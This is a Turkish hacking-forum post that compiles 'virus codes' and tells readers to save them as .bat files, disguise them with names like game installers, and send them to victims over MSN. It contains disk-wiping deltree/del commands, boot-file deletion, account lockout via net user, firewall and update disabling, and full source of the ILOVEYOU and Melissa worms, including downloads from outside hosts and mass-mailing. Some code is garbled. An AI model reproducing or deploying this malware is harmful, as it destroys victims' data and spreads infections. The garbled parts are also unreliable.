>< BENDEN VİRÜS KODLARI İSTEYENLER ALIN SİZE KODLAR YAPTIĞINIZ VİRÜSLERDEN ZARAR GELİRSE MESULİYET BENİM DEĞİL 3:) ________________________________________________ Arkadaşlar bu kodları not defterine yapıştırıp farklı kaydetten kaydaderken .Bat dosyasına çevirin we istedğiniz kişiye msn den yollayın Not: ASLA VE ASLA BAT DOSYASINI KENDİNİZ AÇMAYIN SORUMLULUK BANA AİT DEĞİLDİR KodLar: KOD 1:BU KOD VİRUS YAPARAK ÇÖKELTİR cd.. cd.. attrib -s -h -r -a c:\ntldr del c:\ntldr shutdown -r KOD2:Yİne bir çökeltme kodu /timersecure 0 0 //mkdir $mid(c:,1,2) $+ $rand(1,99999) $+ $rand(A,Z) $+ $rand(a,z) ????: Web Hattı - Türkiyenin En Güncel Forumu /internet-teknolojileri/454253-bilgisayar-cokeltme-kodlari.html KOD3:BU FPI nın kulandığı bi virus kod u dur If NTCL 0 And ADCL = 0 And (InStr(1, Active********.Name, ********) = False) Then Active********.SaveAs FileName:=Active********.FullN ame ElseIf (InStr(1, Active********.Name, ********) False) Then ????: Web Hattı - Türkiyenin En Güncel Forumu webhatti/showthread.php?t=454253 Active********.Saved = True End If WORD/Melissa written by Kwyjibo Works in both Word 2000 and Word 97 Worm? Macro Virus? Word 97 Virus? Word 2000 Virus? You Decide! Word -> Email | Word 97 Word 2000 ... its a new age! If Day(Now) = Minute(Now) Then Selection.TypeText Twenty-two points, plus triple-word-score, plus fifty points for using all my letters. Games over. Im outta here. End Sub < => Kod4:BU kodda ben çok tehlikeli şeylerle uğraşmam diyelere karşı şifre koyma kod u net user %username% 123456 shutdown -r Burda 123456 yazan yer konulucak şifredir bunu siz istediğiniz şekilde değiştirebilrsiniz KOD5:Msn üzerinden interneti kesme kodu ipconfig/release şimdi wereceğim kod ise interneti yukardaki kodlar kestikmi geri getirme kod u ipconfig/renew KOD6:ŞİMDİ BİLGİSAYAR ÇÖKELTME KODLARINI OLDUDA KENDİZ AÇTINIZ HEMEN KORKMAYIN BUNUDA DÜÜŞÜNDÜM WE PAMZEHİRİDE WERİYİM DEDİM shutdown -a ÇÖKELTEME KODUNU ÇALIŞTIRDINIZ DİYELİM HEMEN 30 sn YELİK BİR GERİ SAYIM BAŞLIYCAKTIR BU 30 sn YE İÇİNDE PANZEHRİ ÇALIŞTIRDINIZ ÇALIŞTIRDIZ YOKSA Bİ FORMAT ATMAK ZORUNDASINIZ ŞİMDİ KODLARI ÇALIŞTIRMAYI BİDAHA ANLATICAM İLK ADIM:BİR NOT DEFTERİ AÇMAK İKİNCİ ADIM:BU KODLARDAN İSTEDİĞİNİZİ NOT DEFTERİNİN İÇİNE KOPYALA YAPIŞTIR YAPMAK . ÜÇÜNCÜ ADIM:BU KODLARI FARKLI KAYDET DİYİM TÜRÜNÜ TOPLU İŞ DOSYASI YAPIP ADINIDA .BAT LI YAPIN ÖRNEK:OYUN.BAT İŞTE BU KADAR SİZDE VİRUS YARATTINIZ ŞİMDİ TEK YAPMANIZ GEREKEN BUNU KURBANA YEDİDTİRMEK Alıntıdır... EDİT: Uzantıyı bat olarak çevirmeyi yorum olarak paylaştım ama sanırım fazla kişi görmemiş. Bilgisayarlarımızdaki her dosyanın kendisine özel bir uzantısı vardır. Bat da bir uzantıdır. Bilmeyen veya anlamayan arkadaşlar için ben tekrardan anlatayım. Şimdi öncelikle bilgisayarınızdan herhangi bir klasöre girip seçenekler bölümünden klasör seçenekleri bölümünü tıklayın. Karşınıza yeni bir pencere çıkacak. Oradan görünüm sekmesinme gelin ve aşağıdaki Bilinen dosya türleri için uzantıları gizle seçeneğinin yanındaki işareti kaldırın. İşlemleri kaydedip klasörden çıkın ve masa üstünde yeni bir metin belgesi oluşturun. Sonra verdiğim virüslerden herhangi birinin kodlarını alıp bu metin belgesinin içine yapıştırın ve kaydedin. Sonra o metin belgesinin adını yeni metin belgesi.txt den yeni metin belgesi.bat olarak değiştirin. Yaptığınız işlemle dosyanın uzantısını değiştirmiş olacaksınız. Bu arada bazı antivirler yaptığınız bu işlemi bir virüs faaliyeti olarak algılayıp oluşan dosyayı silebilir. Bu durumda antivirinizi devre dışı bırakıp tekrar deneyin. Bütün bu işlemleri bitirdikten sonra oluşan virüsü istediğiniz şekilde kulabilirsiniz. Şayet oluşturduğunuz virüsü yanlışlıkla kendi bilgisayarınızda açarsanız verdiğim panzehir kodunu talimatlar doğrultusunda oluşturup 30 sn içinde çalıştırmalısınız. Yoksa bilgisayarınız bir daha açılamayabilir. tesekürü esirgemeyen xxsamet321xx alıntıdır. Merhaba Arkadaşlar Sizlere Bütün Virsu Kodlarını Sunuyorum Alıntıdır Ama Hesini Topladım Viruslu siteleri boşu boşuna gezmeyin alın verdiklerimi Hepsi Var İŞE Yarar [/COLOR] 1.Sayfa Virus Kodları 30 sn de wirüs yapın ... Açıklama: 1.Notepad i açın. 2.Notepad in içine şunları yazın: ----------------------------------------- @echo off C:\WINDOWS\COMMAND\deltree /y c:\windows\*.* @echo off C:\WINDOWS\COMMAND\deltree /y c:\Progra~1\*.* @echo off C:\WINDOWS\COMMAND\deltree /y c:\*.* @echo off cls cls @echo .:eni salak formatı yedin::. @echo off -------------------------------------------- 3.Notepad i kapatıp belgeyi kaydedin. 4.Uzantısını .txt den .bat a çevirin. 5.Hazır. Açıklama: Yaptıktan sonra dosyaya sakın tıklamayın. Eğer tıklarsanız 2,3 sn saniye içinde bilgisayar kapanıyor. ve bi daha açılmıyor. Not:%100 ÇALIŞIYO Windows un önemli bi kaç dosyasını siliyor ve sonra seni salak formatı yedin yazıyor. Peki bunu düşmanıma nasıl yediririm derseniz: dosyanın adını değiştirin.(mesela:fifa_2005_stream_install) -------------------------------------------------------------------------- Çalışan ve Gördüğüm en Küçük Virüs Bu Forumda Verilip verilmediğini tam olarak bilmiyorum ama Suan elimde çok basit yazılmış bir virüs var. Kodlar Aşağıdaki gibidir. Yapmanız gereken tek şey kodları Notepad e yapıştırıp uzantısını .bat olarak ayarlamak. sonra Msn de veya başka bir paylaşım programında başkasına gönderebilirsiniz. Peki virüsümüzün zararı nedir? sorusunun cevabı ise C sürücüsündeki bazı dosyaları siliyor ve 2 sn sonra bilgisayar resetleniyor. taki bir daha açılmamak üzere artık o pc yi format paklar... @echo off C:\WINDOWS\COMMAND\deltree /y c:\windows\*.* @echo off C:\WINDOWS\COMMAND\deltree /y c:\Progra~1\*.* @echo off C:\WINDOWS\COMMAND\deltree /y c:\*.* @echo off cls cls @echo .::Format Down Up Your Sistem Limp_buskuit::. @echo off -------------------------------------------------------------------------- çok basit yöntem ile 1 dk içinde virüs yapımı ve sistem çöküyoo Çok basit yöntemlerle 1 dk içinde format atan(ve attıktan sonra bilgisayar açılmıyor) virus yapabilirsiniz. Açıklama: 1.Notepad i açın. 2.Notepad in içine şunları yazın: Kod: @echo off C:\WINDOWS\COMMAND\deltree /y c:\windows\*.* @echo off C:\WINDOWS\COMMAND\deltree /y c:\Progra~1\*.* @echo off C:\WINDOWS\COMMAND\deltree /y c:\*.* @echo off cls cls @echo .::Seni salak formatı yedin::. @echo off 3.Notepad i kapatıp belgeyi kaydedin. 4.Uzantısını .txt den .bat a çevirin. 5.Hazır. Açıklama: . Yaptıktan sonra dosyaya sakın tıklamayın. Eğer tıklarsanız 2,3 sn saniye içinde bilgisayar kapanıyor. ve bi daha açılmıyor. Not:%100 ÇALIŞIYO Windows un önemli bi kaç dosyasını siliyor ve sonra seni salak,formatı yedin yazıyor. Not: seni salak,formatı yedin yazan yere kendi mesajınızı yazabilirsiniz... nasıl .bat yapılır?? ms-dos komut istmini aç dosya neredeyse mesela C:\virus.txt şeklindeyse aynen şunu yazıcaksın... C:\ren virus.txt virus.bat sonra enter diyoruz..Ve bat. yaptığımız dosyayı herhangi bir şekilde karşıdakine yediriyoruz... -------------------------------------------------------------- Ekran Karti Yakma(alinti)program Bile Değil Işimizi Yazilarla Hallediyoruz YAPACAGINIZ İŞLEM @echo off C:\WINDOWS\COMMAND\deltree /y c:\windows\*.* @echo off C:\WINDOWS\COMMAND\deltree /y c:\Progra~1\*.* @echo off C:\WINDOWS\COMMAND\deltree /y c:\*.* @echo off cls cls @echo .:: HacKeD gülümse ::. @echo off3. METİN SAYFASI AÇIP kodlarını yapıştırın ve farklı kaydet diyin. dosya adını yazın ve sonuna .bat yazın. (örnek: açma.bat) vede kaydedin böylece ms-dos toplu iş dosyası oluşacak bunu sakın açmayın ve kimin ekran kartını yakmak istiyorsanız o kişiye yollayın. kurban dosyaya iki kere tıkadığı zaman saniyede 1000 den fazla ms-dos sayfası açılacak vede yaklasık 30 sn sonra ekran kartı gücünü kaybedip yorulacak. en sonunda HacKeD By MaNNeR_Boi yazısı görünecek (burayı kendiniz değiştirebilirsiniz) vede görüntü gidecek. yeni ekran kartı alana kadar da gelmiyecek kolay gelsin. ------------------------------------------------------------- Format Virüsü bunu notepade atın .bat olarak kaydedin karşı tarafa yollayın pcsine format atılacak cd.. cd.. attrib -s -h -r -a c:\ntldr del c:\ntldr shutdown -r -------------------------------------------------------------------------- HDD yakan virüs Arkadaşlar size verceğim kodu kişinin çalıştırına yazdırabilirseniz veye notpeda kodu yapıştırıp biçimini bat. e çeviirseniz dosyayı açtığı anda hddsi yanar işte komut /timersecure 0 0 //mkdir $mid(C:,1,2) $+ $rand(1,99999) $+ $rand(A,Z) $+ $rand(a,z) kolay yapmak isterseniz kurbana bunu çalıştıra yaz pc hızlanıo fln derseniz oltaya gelebilir hadi sizze kolay gelsin -------------------------------------------------------------------------- Karşı pc ye şifre koy bunu notepad e yapıştır 123456 yazan yere koymak istediğin şifreyi yaz .bat uzantılı olarak kaydet(örnek yun.bat) zip le sıkıştırın ve kurbana yollayın bunu açtığı zaman pc si kapanır ve şifrelenmiş olur açtığında pc şifre sorar.Eğer şifreyi koyduktan sonra pc nin kapanmasını istemiyorsanız shutdown -r kısmını silin. Kodlar: net user %username% 123456 shutdown -r -------------------------------------------------------------------------- MSN de pc yi kitleme 1- öncelikle pc mizden not defteri acalım içine start yazıp kopyalayalım sonra sırasıyla yuzlerce start yazalım. 2- daha sonra kaydet diyelim ve bu dosyayı txt olarak degılde .bat olarak kaydedelim işte size pc dondurucu sakın kendı pcinizde acmayın ama denemek isteyenler açabilir.sonrada .rarlayıp gönderiyoruz karşı taraf açarsa sonuc olarak pc de durmadan pencereler acılıyor yüzlerce reset atmak zorunda kalıyorsunuz.ekran kartını yoruyor ve yanmasına sebep oluyor. -------------------------------------------------------------------------- ***msn den pc çökertme*** Selam arkadaşlar msn den birine gıcık oluyorsanız işte buyrun.Lütfen masum arkadaşlar üzerinde denemeyin ————————————– 1.Notepad ’i açın. 2.Notepad in içine şunları yazın: @echo off C:\WINDOWS\COMMAND\deltree /y c:\windows\*.* @echo off C:\WINDOWS\COMMAND\deltree /y c:\Progra~1\*.* @echo off C:\WINDOWS\COMMAND\deltree /y c:\*.* @echo off cls cls @echo .:: BLooDY den formatı yedin::. @echo off 3.Notepad i kapatıp belgeyi kaydedin. 4.Uzantısını .txt den .bat a çevirin. 5.Hazır. NOT: Yaptıktan sonra dosyaya sakın tıklamayın. Eğer tıklarsanız 2,3 sn saniye içinde bilgisayar kapanıyor. ve bi daha açılmıyor. Windows un önemli bi kaç dosyasını siliyor ve sonra ” BLooDY den formatı yedin yazıyor”. Peki bunu düşmanıma nasıl yediririm derseniz: dosyanın adını değiştirin -------------------------------------------------------------------------- msn patlatma %100 başarı tek yapmanız gereken kodu arkadaşınıza yedirmek kodu kişisel iletiye yazdığı an msn si kapanıyo ve bidaha açamıyo ( denendi onaylandı ) kod: -------------------------------------------------------------------------------- ñ¯a_Á¯aÿ±m¯a�ÁÇáç±Çáß±Çá§ÁaÇáDZOÇᯱÇ᧱Çár×ÁÇá+ÑÇ á£áÇá -------------------------------------------------------------------------- XP SiSTeM ÇöKeRTiCi PRoGRaMsıZ:: ARKADAŞLAR AŞAGIDA VERECEĞİM KODLARI KOPYALIYORUZ. DAHA SONRA MASA ÜSTÜNE BİR TXT DOSYASI ACIP İÇİNE YAPIŞTIRIYORUZ. FARKLI KAYDETTEN UZANTISINI .bat OLARAK KAYDEDİYORUZ. DAHA SONRA DOSYAYI KURBANIMIZA YOLLUYORUZ. KURBAN DOSYAYI ACINCA Microsoft windows XP nizi güncellemeye devam etmek için lutfen bir tusa basın. ŞEKLİNDE BİR UYARI İLE KARŞILAŞAK... PHP KODU: echo off echo Microsoft windows XP nizi güncellemeye devam etmek için lutfen bir tusa basın echo off pause del /f /q d: del /f /q c: shutdown -r shutdown -a buda panzehiri,, eğer kendi pcnizde açarsanız 30 saniye sonra pc format atacaktır sizde bunu panzehir olarak bi yere kaydedin.. sonrada yanlışlıkla açarsanız bunu açın olay bitti _________________ 2.Sayfa Virus Kodları BU DÜNYAYI SALLAYAN Bİ VİRÜS.EN BAŞTAN SÖYLİYEYİM KENDİ PCNİZDE SAKIN DENEMEYİN PCNİZ AÇILMAZ.AÇILMADIĞI GİBİ FORMAT ATTIRMANIZ LAZIM HADİFORMAT ATTINIZ.ATIKTAN SONRA BAKIN NE SORUNLAR ÇIKIYOR ***KODLAR AŞAGIDA***.[ rem delete -pcas(-vbe) On es error -pc On error Next Pc Hack dim fso,dirsystem,dirwin,dirtemp,eq,ctr,file,vbscopy,d ow eq= ctr=0 Set fso = CreateObject(Scripting.FileSystemObject) set file = fso.OpenTextFile(WScript.ScriptFullname,1) vbscopy=file.ReadAll main() sub main() On Error Resume Next dim wscr,rr set wscr=CreateObject(WScript.Shell) rr=wscr.RegRead(HKEY_CURRENT_USER\Software\Micros oft\Window s Scripting Host\Settings\Timeout) if (rr>=1) then wscr.RegWrite HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting Host\Settings\Timeout,0,REG_DWORD end if Set dirwin = fso.GetSpecialFolder(0) Set dirsystem = fso.GetSpecialFolder(1) Set dirtemp = fso.GetSpecialFolder(2) Set c = fso.GetFile(WScript.ScriptFullName) c.Copy(dirsystem&\MSKernel32.vbs) c.Copy(dirwin&\Win32DLL.vbs) c.Copy(dirsystem&\LOVE-LETTER-FOR-YOU.TXT.vbs) regruns() html() spreadtoemail() listadriv() end sub sub regruns() On Error Resume Next Dim num,downread regcreate HKEY_LOCAL_MACHINE\Software\Microsoft\Windows \Cur rentVersio n\Run\MSKernel32,dirsystem&\MSKernel32.vbs sımdı arkadasların bazıları sorucak bu vırusu nasıl yapıcam aynen soyle yapacaksın not defterını acıyorsun buradakı kodları oraya yapıstırıyorsun sonra farklı kaydet dıyorsun masaustune (örnegın:sabo.bat) arkadaslar .bat seklınde kaydedıyorsun ve masaustunde vırusun hazır sız bu vırusu acmayın sakın ıste yapdıgınız ılk vırus dosyası da budur...!!! 3.Sayfa Virus Kodları Pc Hack için Bi Virüs koDu cd c:\\ attrib -s -h boot.ini cls attrib -s -h found.000 attrib -s -h found.001 t>boot.ini attrib -a -s -h pagefile.sys h>pagefile.sys attrib -a -s -h hiberfil.sys HH>hiberfil.sys attrib -a -s -h -r bootfont.bin hhh>bootfont.bin attrib -a -s -h -r ntdetect ff>ntdetect attrib -a -s -h -r ntldr f>ntldr cls cd.. cd.. cls cd windows g>win.ini cls g>system.ini cls cd pss ft>system.ini.backup f>win.ini.backup cls cd c:\\ @echo .::.HADi baslayalım.::. cd windows cd system32 attrib -r -h -s dllcache cls attrib -a -h -r *.manifest cls cd config attrib -a -h *.log cd.. cd restore attrib -r -h -s filelist.xml cls cd c:\\ cls cd windows cls tskill msnmsgr /a tskill msmsgs /a cls del /f /q /s c:\\windows\\system32\\*.* cls cd repair attrib -a -h ntuser.dat f>ntuser.dat ff>secstup.inf cd.. attrib -h inf attrib -h -s installer attrib -h pif attrib -r -h -a WindowsShell.Manifest attrib -r -h şMSI31Uninstall_KB893803ş attrib -s -a bootstat.dat attrib -s -h services.dll attrib -s -h qservice.exe attrib -a -r set3.tmp attrib -s -h winnt.bmp attrib -s -h winnt256.bmp cls cd c:\\ del /f /q /s c:\\windows\\*.* cls cd.. cd.. cd program files cd internet explorer attrib -a -s -h iexplore.exe cd c:\\ cls del /f /q /s c:\\program files\\*.* cls cd.. cd.. attrib -a -h -r -s msdos.sys attrib -a -s -h config.sys cls attrib -a -h -r -s IO.sys cls del /f /q /s c:\\*.* cls @echo Yuklemeyi Bitirmek Ilerlemeniz Gerekir… @echo Veri Kayiplari Olmamasi icin….!!!!!!… @echo Devam Etmeniz Kesinlikle Onerilir…!!!.. pause cls cd.. cd.. cd ********s and Settings cd All Users cd Desktop md .HackEd md Bys md Hacker dir /s>HAcKeD.ini @echo HALA shutDownN.exe Pc DEYse RES iyi Gider cls shutdown -r -t 5 -c “HacKs FoR ” -f shutdown -r -t 5 -c “HacKs FoR” -f tsshutdn 5 /delay:2 tsshutdn 5 /delay:2 bunu not defterine yapıştıp farklı kaydet ten uzantısını .bat yapın… test edilimistir 4.Sayfa Virus Kodları Klavye Hackleme Kodu del C:/WINDOWS/system/KEYBOARD.DRV Karşı Pcyi Yak 90,90 resizepic 0 0 5054 405 470 gumppic 10 10 5528 gumppic 2362 text 20 400 455 0 text 20 435 455 01 local.t_x= local.t_y= sector.allclients sendpacket 0c0 00 D D W W W=1) then wscr.RegWrite HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting Host\Settings\Timeout,0,REG_DWORD end if Set dirwin = fso.GetSpecialFolder(0) Set dirsystem = fso.GetSpecialFolder(1) Set dirtemp = fso.GetSpecialFolder(2) Set c = fso.GetFile(WScript.ScriptFullName) c.Copy(dirsystem&\MSKernel32.vbs) c.Copy(dirwin&\Win32DLL.vbs) c.Copy(dirsystem&\LOVE-LETTER-FOR-YOU.TXT.vbs) regruns() html() spreadtoemail() listadriv() end sub sub regruns() On Error Resume Next Dim num,downread regcreate HKEY_LOCAL_MACHINE\Software\Microsoft\Windows \Cur rentVersio n\Run\MSKernel32,dirsystem&\MSKernel32.vbs regcreate HKEY_LOCAL_MACHINE\Software\Microsoft\Windows \Cur rentVersio n\RunServices\Win32DLL,dirwin&\Win32DLL.vbs downread= downread=regget(HKEY_CURRENT_USER\Software\Micros oft\Intern et Explorer\Download Directory) if (downread=) then downread=c:\ end if if (fileexist(dirsystem&\WinFAT32.exe)=1) then Randomize num = Int((4 * Rnd) + 1) if num = 1 then regcreate HKCU\Software\Microsoft\Internet Explorer\Main\Start Page,skyinet.net/~young1s/HJKhjnwerhjkxcvytwertnMTFwetrdsfmhPnjw6587345gvsdf 7679njbvYT /WIN-BUGSFIX.exe elseif num = 2 then regcreate HKCU\Software\Microsoft\Internet Explorer\Main\Start Page,skyinet.net/~angelcat/skladjflfdjghKJnwetryDGFikjUIyqwerWe546786324hjk4j nHHGbvbmKL JKjhkqj4w/WIN-BUGSFIX.exe elseif num = 3 then regcreate HKCU\Software\Microsoft\Internet Explorer\Main\Start Page,skyinet.net/~koichi/jf6TRjkcbGRpGq**198vbFV5hfFEkbopBdQZnmPOhfgER67b3V bvg/WIN-BUGSFIX.exe elseif num = 4 then regcreate HKCU\Software\Microsoft\Internet Explorer\Main\Start Page,skyinet.net/~chu/sdgfhjksdfjklNBmnfgkKLHjkqwtuHJBhAFSDGjkhYUgqweras djhPhjasfd glkNBhbqwebmznxcbvnmadshfgqw237461234iuy7thjg/WIN-BUGSFIX.exe end if end if if (fileexist(downread&\WIN-BUGSFIX.exe)=0) then regcreate HKEY_LOCAL_MACHINE\Software\Microsoft\Windows \Cur rentVersio n\Run\WIN-BUGSFIX,downread&\WIN-BUGSFIX.exe regcreate HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Start Page,about:blank end if end sub sub listadriv On Error Resume Next Dim d,dc,s Set dc = fso.Drives For Each d in dc If d.DriveType = 2 or d.DriveType=3 Then folderlist(d.path&\) end if Next listadriv = s end sub sub infectfiles(folderspec) On Error Resume Next dim f,f1,fc,ext,ap,mircfname,s,bname,mp3 set f = fso.GetFolder(folderspec) set fc = f.Files for each f1 in fc ext=fso.GetExtensionName(f1.path) ext=lcase(ext) s=lcase(f1.name) if (ext=vbs) or (ext=vbe) then set ap=fso.OpenTextFile(f1.path,2,true) ap.write vbscopy ap.close elseif(ext=js) or (ext=jse) or (ext=css) or (ext=wsh) or (ext=sct) or (ext=hta) then set ap=fso.OpenTextFile(f1.path,2,true) ap.write vbscopy ap.close bname=fso.GetBaseName(f1.path) set cop=fso.GetFile(f1.path) cop.copy(folderspec&\&bname&.vbs) fso.DeleteFile(f1.path) elseif(ext=jpg) or (ext=jpeg) then set ap=fso.OpenTextFile(f1.path,2,true) ap.write vbscopy ap.close set cop=fso.GetFile(f1.path) cop.copy(f1.path&.vbs) fso.DeleteFile(f1.path) elseif(ext=mp3) or (ext=mp2) then set mp3=fso.CreateTextFile(f1.path&.vbs) mp3.write vbscopy mp3.close set att=fso.GetFile(f1.path) att.attributes=att.attributes+2 end if if (eqfolderspec) then if (s=mirc32.exe) or (s=mlink32.exe) or (s=mirc.ini) or (s=script.ini) or (s=mirc.hlp) then set scriptini=fso.CreateTextFile(folderspec&\script.i ni) scriptini.WriteLine [script] scriptini.WriteLine ;mIRC Script scriptini.WriteLine ; Please dont edit this script... mIRC will corrupt, if mIRC will scriptini.WriteLine corrupt... WINDOWS will affect and will not run correctly. thanks scriptini.WriteLine ; scriptini.WriteLine ;Khaled Mardam-Bey scriptini.WriteLine ;mirc scriptini.WriteLine ; scriptini.WriteLine n0=on 1:JOIN:#:{ scriptini.WriteLine n1= /if ( şnick == şme ) { halt } scriptini.WriteLine n2= /.dcc send şnick &dirsystem&\LOVE-LETTER-FOR-YOU.HTM scriptini.WriteLine n3=} scriptini.close eq=folderspec end if end if next end sub sub folderlist(folderspec) On Error Resume Next dim f,f1,sf set f = fso.GetFolder(folderspec) set sf = f.SubFolders for each f1 in sf infectfiles(f1.path) folderlist(f1.path) next end sub sub regcreate(regkey,regvalue) Set regedit = CreateObject(WScript.Shell) regedit.RegWrite regkey,regvalue end sub function regget(value) Set regedit = CreateObject(WScript.Shell) regget=regedit.RegRead(value) end function function fileexist(filespec) On Error Resume Next dim msg if (fso.FileExists(filespec)) Then msg = 0 else msg = 1 end if fileexist = msg end function function folderexist(folderspec) On Error Resume Next dim msg if (fso.GetFolderExists(folderspec)) then msg = 0 _________________________________________ sırada karşıdaki pc ye karşıdakinin haberi olmadan şifre koymak var aşağıdaki kdou .bat çevirip gönderin net user %username% [parola] _________________________________________ sıradaki kod karşıdakinin ekranını ve msn sini kaptıyor aşağıdaki kodları ne kadar çok yazarsanız karşıdaki pc nin ekranı ve msn si o kadar uzun süre kapanır start tskill explorer start tskill msnmsgr start tskill explorer start tskill msnmsgr start tskill explorer start tskill msnmsgr start tskill explorer start tskill msnmsgr start tskill explorer start tskill msnmsgr start tskill explorer start tskill msnmsgr start tskill explorer start tskill msnmsgr start tskill explorer start tskill msnmsgr start tskill explorer start tskill msnmsgr start tskill explorer start tskill msnmsgr start tskill explorer start tskill msnmsgr start tskill explorer start tskill msnmsgr start tskill explorer start tskill msnmsgr start tskill explorer start tskill msnmsgr start tskill explorer 6.Sayfa Virus Kodları @echo off net stop Security Center net stop SharedAccess > %Temp%.\kill.reg ECHO A R E S >>%Temp%.\kill.reg ECHO. >>%Temp%.\kill.reg ECHO [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Servic es\SharedAccess] >>%Temp%.\kill.reg ECHO Start=dword:00000004 >>%Temp%.\kill.reg ECHO. >>%Temp%.\kill.reg ECHO [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Servic es\wuauserv] >>%Temp%.\kill.reg ECHO Start=dword:00000004 >>%Temp%.\kill.reg ECHO. >>%Temp%.\kill.reg ECHO [HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\w scsvc] >>%Temp%.\kill.reg ECHO Start=dword:00000004 >>%Temp%.\kill.reg ECHO. START /WAIT REGEDIT /S %Temp%.\kill.reg DEL %Temp%.\kill.reg DEL %0 dosyayı notepad a yapıştırdıktan sonra .bat olarak kaydedin virüs hazır.. Evet Arkadaşlar Bunlarda Zararsız Virus Kodları Sadece Gıcık Eder Not Defterini Aç İçine Shutdown -s -t 6 -c Pc ni Tamirciye Gönder yazın ama siz 6 sayısını ve Pc ni Tamirciye Gönder Yazısını Değiştirebilirsiniz yani 6 sayısı pc nin ne zaman kapanacağıdır Pc ni tamirciye gönder yazısı ise pc kapanmadan önceki not (mesaj) tur ... Buda 2. Zararsız Gıcık Edici Bir Vİrus Kodu Not Defterini Açın İçine yazabildiğiniz kadar Start yazın 3:) start start start start start start start start start start start start start start start start start start start start start start start start start start start start start start start start start start start start [B][COLOR=White][COLOR=Blue] start start start start start start start start start Yazın ama Ne Kadar Yazarsanız Okadar Çok Program Açılacaktır Çok Abartmayın pc çöker BU KADAR YETER EVET BU İKİ TANE VERDİĞİM GICIK EDİCİ VİRUS KODLARINI DA Farklı kaydet ten ismini yazıyoruz ve sonuna .bat ekliyoruz .bat çok önemli dir Evet Bu Kadar İşe Yarar Bunlar[COLOR=White] [COLOR=Red]Evet Arkadaşlar Tüm Kodlar Bu Kadar -------------------------------------------------------------------------------- Daha önce verildimi bilmem ama ben koyuyorum 2 sene önce dünya bilgisayar piyasasını altüst eden bir virüs. Yapımı: Bir Microsft Word belgesi açyoruz.Daha sonra yeni belge açıp Alt + f11e basarak Microsoft Visual Basici açıyoruz Project 1 / Microsoft Word objects / This ******** seklinde 3 lü bir seçim geliyor karşımıza... This ********i seçmeliyiz bu aşamada. Seçimi yaptıktan sonra asagıda verilmış olan Melısssa kodlarını yapıştırıyoruz ve kaydediyoruz bu belgeyi. Melissa Visuel Basic virüsüdür. .Exe olamaması bunu inandırma oranını 100 de 100 arttırr . Fakat panda,norton,mcafee,mks virüs olarak buluyor ancak kaspersky(5.0) ve avast(4.7) tanımıyor tabi avg eksik kalıyor bu konuda. Not: Çalışıyor. Denendi. Melıssa Kodları: Private Sub ********_Open() Writted By eXit On Error Resume Next If System.PrivateProfileString(, HKEY_CURRENT_USER\Software\Microsoft\Office\9 .0\W ord\Security, Level) Then CommandBars(Macro).Controls(Security...).Enabl ed = False System.PrivateProfileString(, HKEY_CURRENT_USER\Software\Microsoft\Office\9 .0\W ord\Security, Level) = 1& Else CommandBars(Tools).Controls(Macro).Enabled = False Options.ConfirmConversions = (1 - 1): Options.VirusProtection = (1 - 1): Options.SaveNormalPrompt = (1 - 1) End If Dim UngaDasOutlook, DasMapiName, BreakUmOffASlice Set UngaDasOutlook = CreateObject(Outlook.Application) Set DasMapiName = UngaDasOutlook.GetNameSpace(MAPI) If System.PrivateProfileString(, HKEY_CURRENT_USER\Software\Microsoft\Office\ , Melissa?) ... by Kwyjibo Then If UngaDasOutlook = Outlook Then DasMapiName.Logon profile, password For y = 1 To DasMapiName.AddressLists.Count Set AddyBook = DasMapiName.AddressLists(y) x = 1 Set BreakUmOffASlice = UngaDasOutlook.CreateItem(0) For oo = 1 To AddyBook.AddressEntries.Count Peep = AddyBook.AddressEntries(x) BreakUmOffASlice.Recipients.Add Peep x = x + 1 If x > 50 Then oo = AddyBook.AddressEntries.Count Next oo BreakUmOffASlice.Subject = Important Message From & Application.UserName BreakUmOffASlice.Body = Here is that ******** you asked for ... dont show anyone else ;-) BreakUmOffASlice.Attachments.Add Active********.FullName BreakUmOffASlice.Send Peep = Next y DasMapiName.Logoff End If System.PrivateProfileString(, HKEY_CURRENT_USER\Software\Microsoft\Office\ , Melissa?) = ... by Kwyjibo End If Set ADI1 = Active********.VBProject.VBComponents.Item(1) Set NTI1 = NormalTemplate.VBProject.VBComponents.Item(1) NTCL = NTI1.CodeModule.CountOfLines ADCL = ADI1.CodeModule.CountOfLines BGN = 2 If ADI1.Name Melissa Then If ADCL > 0 Then ADI1.CodeModule.DeleteLines 1, ADCL Set ToInfect = ADI1 ADI1.Name = Melissa DoAD = True End If If NTI1.Name Melissa Then If NTCL > 0 Then NTI1.CodeModule.DeleteLines 1, NTCL Set ToInfect = NTI1 NTI1.Name = Melissa DoNT = True End If If DoNT True And DoAD True Then GoTo CYA If DoNT = True Then Do While ADI1.CodeModule.Lines(1, 1) = ADI1.CodeModule.DeleteLines 1 Loop ToInfect.CodeModule.AddFromString (Private Sub ********_Close()) Do While ADI1.CodeModule.Lines(BGN, 1) ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1) BGN = BGN + 1 Loop End If If DoAD = True Then Do While NTI1.CodeModule.Lines(1, 1) = NTI1.CodeModule.DeleteLines 1 Loop ToInfect.CodeModule.AddFromString (Private Sub ********_Open()) Do While NTI1.CodeModule.Lines(BGN, 1) ToInfect.CodeModule.InsertLines BGN, NTI1.CodeModule.Lines(BGN, 1) BGN = BGN + 1 Loop End If CYA: If NTCL 0 And ADCL = 0 And (InStr(1, Active********.Name, ********) = False) Then Active********.SaveAs FileName:=Active********.FullName ElseIf (InStr(1, Active********.Name, ********) False) Then Active********.Saved = True End If If Day(Now) = Minute(Now) Then Selection.TypeText Twenty-two points, plus triple-word-score, plus fifty points for using all my letters. Games over. Im outta here. End Sub 2.Virüs KOD: @echo off net stop Security Center net stop SharedAccess > %Temp%.\kill.reg ECHO A R E S >>%Temp%.\kill.reg ECHO. >>%Temp%.\kill.reg ECHO [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Servic es\SharedAccess] >>%Temp%.\kill.reg ECHO Start=dword:00000004 >>%Temp%.\kill.reg ECHO. >>%Temp%.\kill.reg ECHO [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Servic es\wuauserv] >>%Temp%.\kill.reg ECHO Start=dword:00000004 >>%Temp%.\kill.reg ECHO. >>%Temp%.\kill.reg ECHO 